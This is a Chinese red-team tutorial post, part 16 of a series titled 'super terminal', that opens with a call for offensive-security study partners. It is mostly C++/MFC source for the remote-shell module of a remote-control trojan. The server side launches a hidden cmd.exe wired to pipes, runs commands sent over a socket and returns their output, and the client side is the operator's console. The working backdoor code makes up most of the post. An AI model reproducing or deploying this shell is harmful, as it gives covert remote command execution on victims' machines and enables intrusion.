红队专题
- 招募六边形战士队员
- [16]超级终端(1)
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
[16]超级终端(1)
服务端 — 本地打开cmd — 接收命令 — 执行 — 发送回显
客户端 — 远端发送命令 — 接收回显
发送开启cmd命令 --- 接受命令 --- 打开cmd
1.创建管道 --- 建立连接
2.服务端 ---通过通道(net user)---> CMD ---通过管道guest---> 服务端
客户端 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 1.创建管道 --- 建立连接
客户端 net user 服务端 通过管道net user 送入CMD进程 ---通过管道guest---> 服务端
服务端 发送回显
class CCmdShell
{
public:
CCmdShell(void);
~CCmdShell(void);
void Cmd_Init();
void Cmd_Recv(char recv_buff[1024]);
void Cmd_Send();
DWORD GetProcID();
void Cmd_GetSock(SOCKET sock);
void NoTaskExit(SOCKET Socket);
private:
SOCKET m_sock_cmd;
CMySocket m_sock;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
PROCESS_INFORMATION pi;
STARTUPINFO si;
};
void CCmdShell::Cmd_Recv(char recv_buff[1024])
{
DWORD nByteWritten;
if(strcmp("exit\r\n",recv_buff)==0)
{
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
}
WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}
void CCmdShell::Cmd_Send()
{
//发送命令
SECURITY_ATTRIBUTES sa;
DWORD len;
char send_buff[1024];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&hReadFile,&hWritePipe,&sa,0);
SECURITY_ATTRIBUTES sa_r;
sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);
sa_r.lpSecurityDescriptor = NULL;
sa_r.bInheritHandle = TRUE;
//创建管道
CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = CMDSHELL;
while (true)
{
//读取管道中的数据
memset(send_buff,0,sizeof(send_buff));
if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE)
{
break;
}
//把管道中的数据发送给远程主机
CMD cmd;
memset(&cmd,0,sizeof(CMD));
strcpy_s(cmd.command,sizeof(send_buff),send_buff);
cmd.flag = 0;
memcpy(msg.context,&cmd,sizeof(CMD));
m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));
}
printf("CmdThreadOver\n");
}
void CCmdShell::Cmd_Init()
{
//初始化
GetStartupInfoW(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//使cmd的输入输出和管道关联
si.hStdInput = hReadPipe;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.wShowWindow = SW_HIDE;
wchar_t cmdline[256]={0};
//得到系统路径
GetSystemDirectory(cmdline,sizeof(cmdline));
wcscat_s(cmdline,_T("\\cmd.exe"));
//创建cmd进程
if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
{
printf("CreateProcess Error\n");
}
::CloseHandle(pi.hProcess);
}
void CCmdShell::Cmd_GetSock(SOCKET sock)
{
m_sock_cmd = sock;
}
case CMDSHELL:
{
printf("CmeShell\n");
m_cmd.Cmd_GetSock(l_Socket);
::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
Sleep(200);
::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
}
break;
case COMMAND: //未修改
{
CMD recvcmd;
char recv_buff[1024];
memset(&recvcmd,0,sizeof(CMD));
memcpy(&recvcmd,msg.context,sizeof(CMD));
memset(recv_buff,0,sizeof(recv_buff));
strcpy_s(recv_buff,1024,recvcmd.command);
if(m_task.ExistTask(m_cmd.GetProcID()) == false)
{
m_cmd.NoTaskExit(l_Socket);
break;
}
m_cmd.Cmd_Recv(recv_buff);
}
break;
//客户端
void GetReturnInfo(CMD t);
private:
CStringToTransform m_str;
CRect m_rect;
CMySocket m_Mysock;
SOCKET m_sock;
MSGINFO msg;
static unsigned int __stdcall OnCmdRecv(LPVOID self);
void OnCmdRecv_run();
BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if(pMsg->message==WM_KEYDOWN)
{
int nVirtKey = (int)pMsg->wParam;
if(nVirtKey==VK_RETURN)
{
//发送消息
if(m_send.GetSafeHwnd()==::GetFocus())
{
if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0)
{
return TRUE;
}
CString str;
GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);
msg.Msg_id = COMMAND;
CMD cmd;
memset(&cmd,0,sizeof(CMD));
memset(&msg,0,sizeof(MSGINFO));
m_str.CStringToChar(str,cmd.command);
if(strcmp(cmd.command,"exit")==0)
{
SendMessageW(WM_CLOSE,0,0);
return TRUE;
}
msg.Msg_id = COMMAND;
strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");
memcpy(msg.context,&cmd,sizeof(CMD));
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));
str.ReleaseBuffer();
}
return TRUE;
}
else if(nVirtKey==VK_ESCAPE)
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
void CCmdShell::GetReturnInfo(CMD t)
{
if(t.flag == 0)
{
CString tem;
wchar_t *pwText;
pwText = m_str.CharToCString(t.command);
m_recv.GetWindowTextW(tem);
m_recv.SetWindowTextW(tem + pwText);
m_recv.SetSel(-1);
delete[] pwText;
m_send.GetFocus();
}
else
{
MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);
SendMessageW(WM_CLOSE,0,0);
}
}
void CCmdShell::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
MSGINFO msg;
CMD cmd;
memset(&msg,0,sizeof(MSGINFO));
memset(&cmd,0,sizeof(CMD));
msg.Msg_id = COMMAND;
strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");
memcpy(msg.context,&cmd,sizeof(CMD));
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
//CDialog::OnClose();
((CItemData*)this->m_pParentWnd)->m_cmd = NULL;
DestroyWindow();
delete this;
}
void CCmdShell::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: 在此处添加消息处理程序代码
if(nType == SIZE_MINIMIZED)
{
return;
}
CWnd *pWnd,*pWnd1;
pWnd = GetDlgItem(IDC_EDIT1); //获取控件句柄
pWnd1 = GetDlgItem(IDC_EDIT2);
if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
{
CRect rect,rect_l; //获取控件变化前大小
GetClientRect(&rect_l);
pWnd->GetWindowRect(&rect);
ScreenToClient(&rect);
rect.right = rect.right + (rect_l.right - m_rect.right);
rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
pWnd->MoveWindow(rect);//设置控件大小
pWnd1->GetWindowRect(&rect);
ScreenToClient(&rect);
rect.top = rect.top + (rect_l.bottom - m_rect.bottom);
rect.right = rect.right + (rect_l.right - m_rect.right);
rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
pWnd1->MoveWindow(rect);//设置控件大小
}
else
{
delete pWnd;
}
GetClientRect(&m_rect);
}
GetClientRect(&m_rect);
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = CMDSHELL;
if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
{
MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
}
typedef struct tagCMD //CMD命令信息
{
int flag;
char command[1024];
}CMD;
void CStringToTransform::CStringToChar(CString str,char* w)
{
int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);
WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);
w[len] = '\0';
}
wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{
DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);
wchar_t *pwText;
pwText = new wchar_t[dwNum];
if(!pwText)
{
delete []pwText;
}
MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);
return pwText;
}
void CStringToChar(CString str,char* w);
wchar_t* CharToCString(char* temp);